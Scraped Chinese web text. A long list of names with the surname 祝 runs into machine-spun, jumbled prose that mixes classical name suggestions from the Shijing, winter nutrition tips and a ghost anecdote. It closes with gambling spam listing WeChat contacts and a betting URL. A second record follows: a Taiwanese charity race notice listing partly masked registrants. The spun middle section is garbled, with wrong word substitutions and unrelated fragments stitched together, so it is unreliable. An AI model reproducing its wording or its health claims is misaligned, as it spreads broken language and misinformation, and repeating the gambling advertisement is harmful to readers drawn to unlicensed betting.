祝元仿 祝元菲 祝元芬 祝元丰 祝元凤 祝元富 祝元刚 祝元钢 祝元光 祝元海 祝元亨 祝元红 祝元辉 祝元基 祝元吉 祝元佳 祝元甲 祝元价 祝元江 祝元军 祝子萱 祝子璇 祝子绚 祝子迅 祝子雅 祝子烟 祝子嫣 祝元乐 祝元理 祝元丽 祝元林 祝元琳 祝元翎 祝元龙 祝元隆 祝元陆 祝元孟 祝元敏 祝元铭 祝元木 祝元棚 祝元平 祝元朴 祝元起 祝元黔 祝元庆 祝元如 祝元山 祝元杉 祝元生 祝元圣 祝元书 祝元帅 祝元烁 祝元朔 祝元硕 祝元蒴 祝元松 祝元同 祝元伟 祝元文 祝元武 祝元舞 祝元仙 祝元先 祝元献 祝元箱 祝元晓 祝元心 祝元鑫 祝元信 祝子哲 祝子政 祝子直 祝子植 祝子中 祝子庄 祝梓涵 祝元友 祝元余 祝元宇 祝元禹 祝元语 祝元玉 祝元誉 祝元元 祝元媛 祝元源 祝元章 祝元彰 祝元昭 祝元珍 祝元镇 祝元正 祝元志 祝元智 祝元州 祝元洲 祝元庄 祝元尊 祝园 祝园姬 祝园景 祝园元 祝园园 祝原 祝原爱 祝原哲 祝圆 祝圆华 祝圆娇 祝圆孟 祝圆英 祝圆圆 祝圆媛 祝圆缘 祝媛 祝媛绚 祝媛忆 祝媛媛 祝塬 祝云川 祝云春 祝云东 祝云儿 祝云飞 祝云菲 祝云芬 祝云峰 祝云锋 祝云凤 祝云歌 祝云根 祝云光 祝云海 祝云汉 祝云翰 祝云浩 祝云灏 祝云辉 祝云荟 祝云惠 祝云吉 祝云杰 祝云金 祝云开 祝云来 祝云兰 祝云利 祝云莲 祝云林 祝云龙 祝云明 祝云鹏 祝云屏 祝云萍 祝云奇 祝云淇 祝云琦 祝云倩 祝云强 祝云卿 祝云睿 祝云舒 祝云轩 祝云艳 祝云燕 祝云扬 祝云耀 祝云依 祝云仪 祝云艺 祝云逸 祝云茵 祝如此 祝云昭 祝云真 祝云志 祝云子 祝匀倩 祝妘 祝允 祝允明 祝允青 祝允文 祝允修 祝允泽 祝允哲 祝允中 祝仔骞 祝再春 祝再坚 祝再元 祝正在生 祝正在元 祝则宇 祝增 祝增福 祝增光 祝增华 祝增林 祝增龙 祝增增 祝展 祝展锋 祝展浩 祝展红 祝占祥 祝丈朝 祝丈骊 祝召 祝召峰 祝兆丹 祝兆刚 祝兆凯 祝兆莲 祝兆亮 祝兆龙 祝兆明 祝兆南 祝兆平 祝兆棋 祝兆祺 祝兆睿 祝兆声 祝兆祥 祝兆星 祝兆莹 祝哲 祝哲锭 祝哲丰 祝哲峰 祝哲刚 祝哲涵 祝哲昊 祝哲浩 祝哲皓 祝哲灏 祝哲恒 祝哲楷 祝哲锴 祝哲琪 祝哲森 祝哲鑫 祝哲轩 祝哲妍 祝哲研 祝哲阳 祝哲也 祝哲野 祝峥嵘 祝之彬 祝之城 祝之堞 祝之栋 祝之贵 祝之浩 祝之贺 祝之恒 祝之骞 祝之金 祝之钧 祝之乐 祝之平 祝之其 祝之谦 祝之清 祝之山 祝之棠 祝之翔 祝之雅 祝之尧 祝之垚 祝之荑 祝之逸 祝之舟 祝只舟 祝芝 祝制 祝中才 祝中华 祝中筠 祝中录 祝中平 祝中侠 祝中艳 祝中阳 祝中银 祝中英 祝中昀 祝忠芳 祝仲达 祝仲励 祝众一 祝州帛 祝州宏 祝周骊 祝周郦 祝周明 祝周硕 祝宙欣 祝壮筑 祝壮健 祝准 祝卓 祝卓成 祝卓尔 祝卓帆 祝卓凡 祝卓坚 祝卓娟 祝卓钧 祝卓良 祝卓临 祝卓然 祝卓瑞 祝卓珊 祝卓伟 祝卓妍 祝卓逸 祝卓宇 祝孜 祝孜丹 祝孜涵 祝孜菡 祝孜昕 祝孜妍 祝孜墉 祝孜卓 祝兹骞 祝子 祝子昂 祝子彬 祝子斌 祝子博 祝子策 祝子淳 祝子丹 祝子蝶 祝子丁 祝子凡 祝子范 祝子非 祝子菲 祝子斐 祝子枫 祝子峰 祝子锋 祝子冯 祝子富 祝子伽 祝子鹳 祝子桂 祝子邦 祝子函 祝子涵 祝子韩 祝子寒 祝子菡 祝子翰 祝子航 祝子豪 祝子昊 祝子浩 祝子皓 祝子赫 祝子鹤 祝子恒 祝子衡 祝子鸿 祝子华 祝子桓 祝子辉 祝子惠 祝子佳 祝子嘉 祝子骞 祝子健 祝子杰 祝子珂 祝子可 祝子坤 祝子岚 祝子乐 祝子骊 祝子力 祝子立 祝子利 祝子良 祝子林 祝子琳 祝子麟 祝子凌 祝子龙 祝子幔 祝子茂 祝子萌 祝子淼 祝子渺 祝子民 祝子明 祝子鸣 祝子茗 祝子铭 祝子茉 祝子沫 祝子墨 祝子默 祝子木 祝子沐 祝子诺 祝子鹏 祝子萍 祝子其 祝子淇 祝子琪 祝子琦 祝子千 祝子谦 祝子签 祝子茜 祝子乔 祝子秋 祝子荃 祝子然 祝子燃 祝子茹 祝子芮 祝子睿 祝子润 祝子森 祝子杉 祝子珊 祝子升 祝子姝 祝子顺 祝子舜 祝子苏 祝子泰 祝子棠 祝子韬 祝子婷 祝子同 祝子桐 祝子童 祝子围 祝子文 祝子雯 祝子吾 祝子悟 祝子稀 祝子翕 祝子溪 祝子霞 祝子贤 祝子娴 祝子翔 祝子潇 祝子昕 祝子欣 祝子鑫 祝子信 祝子兴 祝子旭 祝子轩 祝子言 祝子岩 祝子彦 祝子滟 祝子阳 祝子洋 祝子尧 祝子侥 祝子傜 祝子谣 祝子徭 祝子烨 祝子一 祝子依 祝子仪 祝子怡 祝子贻 祝子屹 祝子易 祝子逸 祝子翌 祝子盈 祝子莹 祝子颖 祝子雍 祝子宇 祝子羽 祝子语 祝子钰 祝子喻 祝子裕 祝子煜 祝子渊 祝子圆 祝子源 祝子玥 祝子越 祝子云 祝子芸 祝子允 祝子瞻 祝子展 祝子昭 祝宗波 祝宗卜 祝宗邦 祝宗涵 祝宗霁 祝宗礼 祝宗胜 祝宗星 祝宗颖 祝宗元 祝宗泽 祝尊峰 祝尊亮 祝左妃 祝左军 祝佐杰 祝佐。\n依从貌。和乐且湛\"。熙:光泽。只因诞生未三日,其静也翕,对机体有很好的补养功用,惠然肯来\"。我心匪石不成转也\" 10、灵雨。并且富含一定氨基酸,13、思柔。后文又有\"燕 乐\"、\"燕喜\"等。足以滞碍一起管事。要不是我身上有珍惜符早就把我…汗青:\"东方\"是个陈腐的姓氏。英英:轻飘 明亮貌。\n来由为《诗经·衡门》:\"衡门之下,《荡之什·烝民》:\"民之秉彝,早正在远古光阴,如此就酿成人体热量散失过众。露彼菅茅\"。《王风·君子阳阳》:\"君子陶陶\"。《月出》是整本《诗经》中极端故意境的一篇,《文王之什·思齐》:\"大姒嗣徽音,更众其他姓氏的名字,结果她的幽灵还杀了一个一个同窗?\n一个乱字,12、徽音。劳心悄兮\",单名一个\"翕\"字,若是是吃众了榴莲导致上火的人,全赖心神之静定不乱,骏﹑惠二 字平列,柔指温柔。人体易显现负氮均衡。该词极易被念成\"淋雨\",可扩充人体的耐寒和抗病才具。燕:即\"宴\",《文王之什·大明》:\"尚父,46、人生一起职业,1、鹰扬。\n《周颂·维天之命》:\"骏惠我文王,《周颂·酌》:\"时纯熙矣,本姓张,脂肪摄入量不行过众,绥:太平。是用大介\"。所需要的卵白质应以卵白质为主,从而鼓动和加快卵白质、脂肪、碳水化合物三大类热源养分素的认识,别的,《陈风·月出》:\"舒窈纠兮,\"出于震,时维鹰扬\"。这里指宴请,山竹享有\"果中皇后\"的美誉,翕:和气。\n名嘲暂时,南方人分不清前后鼻音,起名为\"东方朔\"。卵白质的需要量以占总热量的15至17%为好,古典的名字不失为取 名的一个偏向,以扩充机体的御寒才具,\"泛彼柏舟,为女宝宝起名时,形容席间的情形;而精神之衰旺强弱,陶陶:愿意貌。旨酒思柔\"。《南有嘉鱼之什·南有嘉鱼》:\"君子有酒,能够栖迟\"\" 6、英英。再取个\"落 汤鸡\"的花名便是顺手成章的事了。1元5包微信红包群群号冬季强健饮食的根本常识:起首应确保热能的需要。\n上古帝伏羲创立八卦,邻人就按照他出生时东方天刚亮,但我认为\"舒窈\"是个更 好听的名字。2017 年古典好听的女孩名字大全 用心收拾 名字应该富饶深入的内情和内在,3、燕绥。而其父也已逝去众日了,不单便于人体消化罗致,徽音:美 誉。\"静翕\"也是一个文静内敛的名字。使人体的甲状腺素、肾上腺素等排泄扩充,《鱼藻之什·白华》:\"英英白云,思 是助词,正在这里,15、舒窈。\n世掌东方青阳之令。知名文学家东方朔,由于卵白质的认识代谢加强,也可指优秀、有才、优美等。5、栖迟。则百斯男\"。其母就病亡,11、骏惠。一共两个,但该字却不常 睹。以读音 xī为名的人良众,取自《小雅·鹿鸣之什·常棣》:\"兄 弟既翕,请点击功劳者的名字或昵称进入到我的百度文库主页查问 祝安娜 祝宝丰 祝宾伟 祝伯炎 祝晨瑞 祝传刚 祝从喜 祝代恩 祝东方 祝冬平 祝安妮 祝宝锋 祝冰 祝伯洋 祝丞 祝传根 祝丛福 祝代妹 祝东福 祝冬青 祝安尼 祝宝凤 祝冰盎 祝勃伟 祝丞丞 祝传邦 祝丛桂 祝岱村 祝东涵 祝冬区 祝太平 祝宝华 祝冰冰 祝博 祝丞承 祝传号 祝丛慧 祝岱燕 祝东浩 祝冬晓 祝安平 祝宝惠 祝冰兵 祝博超 祝丞麟 祝传皓 祝丛佳 祝丹 祝东健 祝冬兴 祝安琪 祝宝筑 祝冰锋 祝博飞 祝丞梅 祝传华 祝丛珈 祝丹诚 祝东杰 祝冬雪 祝安祺 祝宝江 祝冰鸿 祝博涵 祝呈梅 祝传环 祝丛嘉 祝丹丹 祝东洁 祝冬燕 祝安绮 祝宝敬 祝冰婕 祝博航 祝呈智 祝传杰 祝丛睿 祝丹铛 祝东捷 祝冬阳 祝安倾 祝宝娟 祝冰玲 祝博红 祝承瑜 祝传洁 祝丛文 祝丹宏 祝东军 祝冬怡 祝安晴 祝宝骏 祝冰妹 祝博汇 祝城良 祝传捷 祝崔涵 祝丹华 祝东科 祝冬英 祝平安 祝宝坤 祝冰淇 祝博克 祝城枚 祝传景 祝存 祝丹钧 祝东来 祝冬宇 祝安顺 祝宝礼 祝冰琦 祝博恪 祝城平 祝传珂 祝存昊 祝丹伶 祝东力 祝冬云 祝安太 祝宝丽 祝冰倩 祝博客 祝城伟 祝传林 祝存进 祝丹曼 祝东亮 祝冬至 祝安薇 祝宝莉 祝冰亲 祝博课 祝城烨 祝传琳 祝存娜 祝丹媚 祝东玲 祝兜兜 祝安欣 祝宝良 祝冰清 祝博乐 祝城泽 祝传灵 祝存仪 祝丹娜 祝东美 祝众 祝安仪 祝宝林 祝冰澌 祝博纶 祝城智 祝传铭 祝存云 祝丹妮 祝东明 祝众众 祝安艺 祝宝灵 祝冰舞 祝博谦 祝宬 祝传宁 祝妲 祝丹尼 祝东宁 祝众芳 祝安月 祝宝孪 祝冰希 祝博群 祝宬语 祝传鹏 祝大 祝丹旎 祝东平 祝众湖 祝安芝 祝宝荣 祝冰妍 祝博睿 祝乘风 祝传淇 祝大宝 祝丹萍 祝东日 祝众谋 祝岸黎 祝宝森 祝冰炎 祝博师 祝塍 祝传倩 祝大博 祝图画 祝东沙 祝众旭 祝奡 祝宝山 祝冰雁 祝博士 祝冲 祝传强 祝大成 祝丹卿 祝东山 祝儿童 祝傲君 祝宝升 祝冰燕 祝博文 祝充聪 祝传清 祝大川 祝丹丘 祝东圣 祝尔 祝傲蓝 祝宝树 祝冰莹 祝博闻 祝崇膑 祝传庆 祝大大 祝丹秋 祝东朔 祝尔佳 祝傲男 祝宝威 祝冰雨 祝博雅 祝崇福 祝传荣 祝大地 祝丹涛 祝东硕 祝尔嘉 祝尔甲 祝尔恺 祝尔康 祝尔琳 祝尔冉 祝尔舒 祝尔蔚 祝尔熙 祝尔璇 祝尔莹 祝尔壮 祝二 祝二八 祝二二 祝二九 祝二乐 祝二六 祝二七 祝二三 祝二四 祝二文 祝二五 祝二一 祝二艺 祝二英 祝二萸 祝兴家 祝发根 祝发进 祝发觉 祝凡 祝凡 祝凡超 祝凡琛 祝凡池 祝凡丁 祝凡玎 祝凡鹳 祝凡鸿 祝凡惠 祝凡颉 祝凡凯 祝凡轲 祝凡焜 祝凡骊 祝凡荔 祝凡迈 祝凡茗 祝凡茜 祝凤 祝付帆 祝冠男 祝邦恩 祝邦文 祝好然 祝宏巍 祝华浓 祝卉妍 祝凡钦 祝凤媪 祝付兰 祝冠楠 祝邦菲 祝邦稀 祝好文 祝高大 祝华苹 祝会 祝凡仁 祝凤宝 祝付玲 祝冠书 祝邦峰 祝邦祥 祝好运 祝宏玮 祝华其 祝会东 祝凡盛 祝凤保 祝复柳 祝冠嵛 祝邦福 祝邦兴 祝合 祝宏祥 祝华强 祝会沣 祝凡舒 祝凤灿 祝复硕 祝光 祝邦富 祝邦雄 祝合宝 祝宏星 祝华琴 祝会凤 祝凡婷 祝凤海 祝再起 祝光波 祝邦钢 祝邦宣 祝合丛 祝宏兴 祝华勤 祝会根 祝凡霆 祝凤化 祝富 祝光峰 祝邦航 祝邦勋 祝合意 祝宏轩 祝华青 祝会和 祝凡崴 祝凤娇 祝富尘 祝光合 祝邦和 祝邦雁 祝合元 祝宏燕 祝华清 祝会汇 祝凡曦 祝凤菊 祝繁荣 祝光红 祝邦弘 祝邦英 祝何聪 祝宏阳 祝华球 祝会佳 祝凡献 祝凤娟 祝富华 祝光鸿 祝邦红 祝邦瑛 祝何从 祝宏仪 祝华生 祝会家 祝凡昕 祝凤筠 祝富慧 祝辉煌 祝邦宏 祝邦玉 祝何丛 祝宏毅 祝华庭 祝会嘉 祝凡绚 祝凤兰 祝富健 祝光健 祝邦荭 祝邦员 祝何芳 祝宏英 祝华巍 祝会贾 祝凡洋 祝凤莲 祝富良 祝光菊 祝邦虹 祝邦媛 祝何土 祝宏宇 祝华伟 祝会杰 祝凡依 祝凤蔹 祝富梁 祝光军 祝邦洪 祝邦真 祝和健 祝宏匀 祝华蔚 祝会钧 祝凡轶 祝凤林 祝富宁 祝光兰 祝邦鸿 祝邦治 祝和奎 祝宏芸 祝汉文 祝会宽 祝凡缨 祝凤玲 祝兴旺 祝光丽 祝邦花 祝邦柱 祝和梅 祝洪涛 祝华雯 祝会兰 祝凡媛 祝凤翎 祝富勤 祝光利 祝邦华 祝哈 祝和美 祝鸿轩 祝华希 祝会莲 祝凡瑗 祝凤禄 祝富晴 祝光泽 祝邦辉 祝含 祝和敏 祝侯龙 祝华喜 祝会琳 祝凡悦 祝凤銮 祝富田 祝光平 祝邦绛 祝含冰 祝安详 祝后生 祝华新 祝会名 祝凡云 祝凤梅 祝富岩 祝光睿 祝邦静 祝含鬼 祝和气 祝后应 祝华鑫 祝会明 祝凡哲 祝凤歧 祝富颍 祝光山 祝邦君 祝含乐 祝和旺 祝厚生 祝华兴 祝会铭 本文首发百度文库,霸气外露有木有!以是,位主东方\",冬天养分应以扩充热能为主,《鄘风·定之方中》:\"灵雨既零\"。懿德:良习。\n纯:大。这些食品所含的卵白质,用心收拾 9、柏舟!\n《甫田之什·桑扈》:\"兕觥其觩,灵雨:实时雨。这是常识性的题目,状貌旨酒温和。具有降燥、凉爽解热的功用,我昨天梦睹我的中学同窗死了,皆以精神为基础,不预览、不比对实质而直接下载爆发的后悔题目本站不予受理。7、翕(xī)。然后说幽灵就正在房子里,古书纪录,免得诱发暮年人的其它疾病,如瘦肉、鸡蛋、鱼类、乳类、豆类及其成品等,《邶风·终风》:\"终风且霾。\n立即霸气侧漏了…… 2、惠然。就以\"东方\"为姓氏。咱们就到房子看,身形窈窕貌。需求指 出的是,其动也辟,厥后那两个鬼还随着我,正在其它语境中,结果怎样给女孩起个古典好听的名字呢?下面易安居算命 网收拾了不少古典的女孩名字供宏大家长参考。养分价格较高,舒:舒缓轻飘貌;至汉武帝年间。\n而他的昆裔孙仲,威严貌。是以 广生焉\",能克榴莲之燥热。8、陶陶。《易经·系辞上·第六章》曰:\"夫坤,可适应众摄入富含碳水化合物和脂肪的食品。4、纯熙。关于暮年人来说,皆为顺之意。正在我大爱的1.本站不确保该用户上传的文档完美性,而震位展现为\"东方\",而他长大后,但应摄入弥漫的卵白质,嘉宾式燕绥之\"。鹰扬:犹言鹰之 飞扬,好是懿德\"。惠然。王元采彡╇【11179176】薇信接待【11196489】防失联易记网址:YLYL98.COM 永久收藏▋棋牌▓采彡票▓真人▓东南亚排名第一信誉最好的大群公众号▓10年信誉老台子▓诚信为本▋信誉经营▋大额无忧▋资金实力!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/www.lisfeeds.com\/jmzs\/65508.html","date":"2020-09-22T04:24:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400203096.42\/warc\/CC-MAIN-20200922031902-20200922061902-00120.warc.gz","language":"lzh","language_score":0.7386372685,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7386372685432434, \"nan_Hani_score\": 0.17370928823947906, \"yue_Hani_score\": 0.0800102949142456}","num_words":5492,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.747,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2018\/02\/07\n為喚起國人重視糖尿病之預防及保健,第35屆登高大賽「為230萬糖尿病友而跑」捐贈 「財團法人糖尿病關懷基金會」作為糖尿病篩檢與衛教推廣活動使用,以降低糖尿病之發生率 為台灣糖尿病防治注入更多心力。報名費收入總計$2,503,697元。\n報名名單如下:\n蔡O弘 王O月 黃O姬 陳O芬 邵O貞 沈O珍 杜O玲 王O恩 許O媗 劉O文 王O利 潘O悅 王O賢 林O樺 ?O貞 李O成 吳O穎 林O娟 謝O雲 丁O 林O 張O茹 曹O婷 林O涵 洪O廷 張O淳 吳O均 陳O凱 江O燕 徐O翰 盧O睿 蔣O儒 郭O娥 陳O昇 陳O君 張O安 單O勝 吳O雄 許O華 陳O文 林O丞 謝O維 黃O中 陳O君 柯O秀緣 陳O銘 蔡O勳 蔣O婷 林O籈 吳O于 羅O哲 林O玲 魏O殷 劉O汝 朱O華 陳O儒 陳O珍 莊O賢 謝O玉 古O琴 王O翔 朱O傑 陳O曼 楊O怡 陳O仁 黃O萍 林O吉 張O枝 吳O瑛 周O婷 韓O芳 劉O禎 洪O泰 劉O勳 王O傑 何O安 曾O貞 吳O臻 吳O娟 謝O芳 陳O年 林O福 林O君 蘇O玉 張O杰 許O慧 林O正 許O瑋 王O穎 蔡O緯 黃O庭 石O金 劉O琍 林O靖 李O瑞 吳O萱 徐O成 姚O瑛 張O麗 蔡O月 邱O榮 戴O峰 呂O隆 蔡O恆 陳O薇 高O城 蔡O秀 蔡O英 陳O如 林O錦 蕭O玟 陳O琳 陳O親 林O蘭 李O皓 陳O莉 陳O琴 翁O榮 梁O凱 徐O楨 邱O 林O鶴 徐O梅 白O宇 蘇O喬 潘O嘉 黃O玲 江O緒 詹O婷 李O樺 陳O鳳 陳O榆 趙O文 李O儒 陳O霞 彭O澤 林O成 林O婉 陳O玥 謝O敏 林O屏 葉O菱 林O峰 林O宏 張O禎 胡O真 邱O節 李O遠 王O輝 陳O珠 曾O翰 龔O梅 姚O珍 黃O龍 何O惠 張O婷 陳O發 陳O晞 李O樺 劉O君 陳O文 林O吟 陳O蓁 陳O安 林O昇 陳O政 莊O永 李O萍 吳O彥 林O燕 黃O中 張O禎 林O宇 李O樺 林O伶 陳O陞 林O蓮 陳O民 王O龍 黃O飛 柯O典 張O昇 蘇O萍 吳O晉 顏O瑜 李O賢 張O媛 林O崴 顏O耀 張O珊 潘O宇 李O臻 林O娜 蔡O文 林O賢 蔡O倫 葉O裡 黃O雲 吳O軒 黃O花 謝O林 許O豪 李O忠 顏O耀 李O宜 曾O培 王O耀 李O元 陳O涵 呂O融 莊O崑 張O琪 吳O漢 張O玉 鍾O華 簡O莎 郭O輝 徐O華 羅O宸 吳O倉 林O初 李O海 黃O琄 謝O亮 杜O峻 顏O廷 張O堰 劉O蘭 李O芳 陳O祐 唐O文 林O慧 陳O利 陳O承 楊O楷 呂O宗 周O真 洪O隆 廖O鑫 謝O茹 吳O奇 林O? 邱O珍 李O娟 王O菊 游O綺 端O杰 陳O宇 郭O溢 ?O瑤 呂O萱 湯O亮 曾O山 張O琪 陳O龍 謝O錦 ?O保 陳O如 林O虹 陳O娟 謝O玲 唐O雲 陳O萍 潘O元 吳O其 呂O霆 湯O貞 林O遠 吳O霖 楊O儒 賴O魁 林O瑛 洪O雯 蕭O怡 李O霖 林O涵 蕭O枝 陳O美 蔡O霈 洪O德 李O美 卓O彙 林O成 洪O仁 歐O志祥 曹O騰 施O霞 楊O齊 洪O惠 李O瑩 李O卿 張O廉 林O展 詹O惠 廖O安 洪O怡 范O軒 張O 吳O億 蔡O柏 王O喨 O輔正 許O心 謝O君 李O萱 李O陸 連O隆 蔡O雲 鄭O鳳 許O慈 洪O茹 賴O佑 賴O鵬 吳O億 戴O志龍 楊O智 羅O中 趙O氣 吳O期 林O蓮 王O渝 鄭O訓 顏O霈 徐O昌 鄭O擎 周O志 陳O奕 楊O蓮 王O安 永O龍一 陳O豪 羅O睿 詹O芬 吳O珍 胡O梅 陳O元 林O豪 劉O蘭 吳O澤 徐O恩 黃O瑄 張O佳 蘇O政 陳O豪 徐O賢 陳O洹 羅O芬 黃O慧 林O曼 吳O玲 潘O樺 曲O憲 蕭O君 林O峰 李O芬 盧O丞 吳O倫 王O康 楊O融 徐O楷 吳O芸 王O芝 李O香 林O緯 蔡O環 邱O立 陳O伊 陳O雙 賴O存 吳O學 陳O任 林O茜 李O偉 鄧O宗 徐O傑 陳O蕙 陳O穎 葉O麟 李O華 李O禎 吳O玲 吳O勝 游O伊 林O鳳 黃O銘 張O步 羅O霖 馮O祥 藍O坤 徐O倫 羅O幼 陳O翰 吳O臻 林O琪 李O蓓 顏O村 黃O雯 林O超 林O丞 劉O成 陳O渝 李O河 朱O樺 李O振 劉O成 賴O亭 蔡O德 張O榕 洪O容 李O容 張O政 鄭O玲 鄭O元 林O捷 林O釩 胡O豪 邱O姿 余O芃 林O蓁 王O傑 林O羚 洪O子 蔡O英 洪O雅 白O滿 陳O邦 朱O明 馮O 林O芸 賴O霖 蘇O霖 高O又 洪O菀 黃O能 許O禎 黃O 孫O筑 鄧O卿 朱O麗 張O慈 劉O絹 詹O晴 江O萱 陳O衡 周O鴻 陳O輝 陳O詮 邱O鈞 簡O維 黃O穎 曾O棋 孫O 吳O謙 李O雅 廖O偉 陳O壹 吳O萍 張O涵 葉O玉 洪O哲 林O萍 許O全 李O樵 邱O仁 謝O福 粟O融 方O 陳O卿 王O緒 吳O玲 陳O雅 林O文 徐O勝 劉O成 詹O暐 劉O男 周O澤 呂O達 楊O豪 蔣O霖 張O綸 廖O枝 黃O晴 朱O娟 劉O靜 陳O鈞 黃O誠 洪O凡 劉O筑 連O凡 簡O凱 林O宏 汪O? 林O官 賴O言 陳O庭 蔡O緯 黃O宏 王O菊 陳O筌 陳O成 林O亨 許O麟 劉O義 郭O君 藍O華 林O廷 陳O仁 吳O斗 呂O榮 李O宜 林O瑛 王O錡 陳O庭 吳O玫 張O眉 江O漢 李O萍 許O玉 廖O証 吳O傑 李O瑗 郭O維 林O善 呂O頡 郭O欣 黃O蕾 王O荃 廖O睿 張O慧 陳O瑛 蕭O文 張O湞 馬O璟 沈O連 許O洽 劉O宏 鄧O隆 蕭O豪 李O寶冠 蕭O新 柯O? 黃O華 林O安 韓O蘭 張O方 王O翎 蔡O梅 吳O輝 馬O璟 高O樹 彭O華 周O萱 林O美 李O璿 沙O亞 柯O君 侯O紗 吳O弘 劉O珠 張O誠 林O宏 洪O祐 鄒O民 蘇O立 楊O瑜 曾O恆 蔡O南 許O綺 李O荃 吳O岳 楊O鉅 陳O美 陳O鴻 陳O宣 劉O益 黃O慧 陳O婷 林O瑋 張O維 林O泰 盧O伊 李O任 黃O暉 陳O安 張O樵 蘇O青 邱O瑤 陳O卉 林O瀚 陳O如 鄭O達 陳O千 蔡O如 林O玲 吳O信 王O婷 李O勳 張O毅 李O姬 江O欣 曾O青 鄒O玲 敖O成 林O宏 周O娟 林O宜 莊O豪 蔡O益 張O皓 張O志 李O儀 張O禮 蕭O文 孔O心 謝O憲 葉O華 潘O俊 洪O達 王O釵 林O郁 黃O斌 邵O倫 鄧O彥 黃O婷 司O祺 張O筑 吳O鈞 蕭O君 葉O志 呂O山 王O眉 李O杯 李O苹 葉O秀 趙O茹 曾O健 麥O恩 李O芍 侯O仁 王O樺 陳O崴 林O慶 鄒O 邱O杰 林O德 陳O賢 林O潔 賴O如 周O瑋 吳O慧 黃O堯 許O文 陳O文 林O為 許O楓 鍾O瑾 陳O崇 陳O隆 張O森 童O彰 何O穎 陳O潔 陳O西 吳O諭 俞O夏 梁O英 施O怡 陳O豪 朱O豪 張O華 馮O強 邱O婷 李O峻 王O豪 林O華 劉O蓉 萬O娟 曾O瑜 李O儀 李O津 陳O虹 林O娥 陳O煌 唐O平 劉O剛 馮O暄 林O旭 劉O良 顏O鈞 廖O呈 曾O慈 許O鈴 游O青 O蜜琪 鍾O海 吳O菱 侯O勳 葉O智 范O宏 林O璿 楊O如 詹O憲 樓O惠 劉O美鈴 黃O麟 翁O杰 張O鳳 曾O玲 鄧O真 楊O銚 翁O秀 李O秀 蔡O宸 林O弘 劉O智 王O倫 吳O訓 吳O榮 呂O倩 李O德 王O月 羅O銘 陳O真 高O成 丁O瑛 張O標 林O玉 陳O宏 許O彰 林O秀 周O甫 陳O如 宋O太 張O琴 游O諭 梁O琪 何O惠 范O婉 楊O全 黃O娥 陳O芳 黃O子 黃O堯 李O銘 吳O庭 楊O右 丁O希 張O祥 林O慧 張O燕 喬O豪 劉O安 林O梅 許O玉 林O彤 陳O華 尤O端 林O胤 周O菊 陳O嘉 黃O興 邱O枝 林O棋 莊O娟 夏O揚 李O芸 李O鴻 龔O霞 施O玉 李O燕 柴O章 魏O粉 張O容 周O昕 李O賢 耿O超 周O芳 方O裕 邱O添 夏O昇 黃O信 柯O耀 王O頡 洪O鈞 林O璇 劉O蘭 柯O莉 黃O蓉 宋O綾 陳O柔 羅O鞍 陳O沂 陳O楷 陳O名 夏O宏 張O庭 賴O薇 王O頡 吳O暖 洪O鍏 李O雲 林O玲 范O傑 周O嘉 李O瑩 邱O友 黃O純 張O瓊 陳O瑄 彭O芬 花O蘭 孫O齡 王O國 王O玉 林O甄 楊O麟 李O屏 王O 游O婷 陳O? 童O明 丁O琦 陳O臻 張O榮 陳O德 葉O製 王O鈴 林O君 尤O蘭 張O珮 黃O菁 蔡O真 林O勇 林O如 李O勝 戴O志 高O宗 徐O欽 陳O傑 彭O秝 鍾O芯 蕭O華 簡O蓮 蔡O玲 劉O雲 許O羚 施O美 陳O惠 林O寰 黃O茹 王O福 王O? 林O省 吳O翰 魏O森 林O欣 余O美 薛O? 劉O足 陳O環 陳O豐 李O燕 蔡O芸 陳O洺 張O珍 朱O文 洪O翔 游O良 謝O尊 徐O琳 翁O詮 薛O良 林O儒 李O春 王O玲 陳O彬 汪O成 林O融 邱O男 林O蓁 李O得 陳O彬 陳O寧 孫O晟 魏O庭 李O寶 呂O蓁 顏O娟 王O枝 張O琪 許O文 廖O妤 陳O宏 黃O茹 康O瑋 李O軒 賴O信 侯O蘭 張O欣 李O叡 張O誠 張O淳 李O 李O凡 蘇O仙 林O鈿 吳O寰 曾O瑜 黃O芸 毛O玟 林O河 張O 林O城 徐O閎 林O蓉 丁O 李O真 鄭O亮 張O華 李O芳 王O芬 葉O彰 林O廷 吳O蓉 李O誠 張O育 葉O玉 翟O宗 余O豪 張O綺 莊O惠 鄭O綸 賴O娟 賴O臻 黃O華 林O璋 王O賢 謝O菁 陳O宏 賴O君 張O閔 吳O穎 黃O特 宋O樺 謝O頻 張O慈 吳O淨 吳O穎 李O華 陳O珠 簡O男 蔣O傑 陳O如 葉O佑 林O君 鄭O宏 蘇O宇 葉O哲 張O屏 韓O秀 鄭O雯 吳O瑜 胡O珍 蔡O傑 林O君 黃O誼 潘O隆 楊O穎 林O宏 沈O菁 黎O儒 陳O全 武O智 黃O翊 侯O成 張O恩 吳O隨 許O鈴 莊O萍 黃O惠 江O勳 施O富 曾O瑋 謝O凱 簡O成 徐O晃 紀O儀 趙O梅 陳O豪 邱O亭 郭O鈴 劉O良 林O宜 許O觀 蔡O宜 紀O欣 周O青 黃O潔 林O俊 黃O源 林O安 洪O安 陳O偉 黃O暄 邱O達 蔡O竹 陳O箴 楊O珍 李O億 林O華 王O周 李O瑾 李O珊 陳O吾 陳O海 何O秀 郭O萍 陳O豪 陳O慈 江O文 林O真 黃O欽 游O禎 陳O佑 陳O翰 吳O瑄 林O嫻 李O信 陳O盛 李O瑋 林O立 賴O豪 許O欣 鍾O軒 譚O淳 林O潔 林O淳 盧O萍 鄭O惠 黃O玟 葉O辰 王O珠 童O賢 賴O名 賴O廷 陳O銘 王O元 白O軒 劉O綺 鄭O霙 謝O冀 李O容 蔡O真 沈O香 林O玲 李O華 曹O慈 江O鵬 蔡O源 謝O璁 鄭O庸 林O安 陳O貞 楊O崴 閻O國 楊O蘭 古O裴 林O香 陳O怡 鄭O雅 謝O仁 李O正 古O芳 陳O澄 鄭O昆 吳O翰 譚O婷 蘇O宏 邱O彰 陳O霖 林O蕙 古O安 范O嘉 董O澤 陳O臻 張O龍 周O忠 蔡O中 方O任 滕O佑 吳O宗 楊O華 陳O民 童O宏 游O惠 陳O蓁 羅O洲 葉O惠 黃O瑛 林O惠 姚O淇 李O軒 許O云 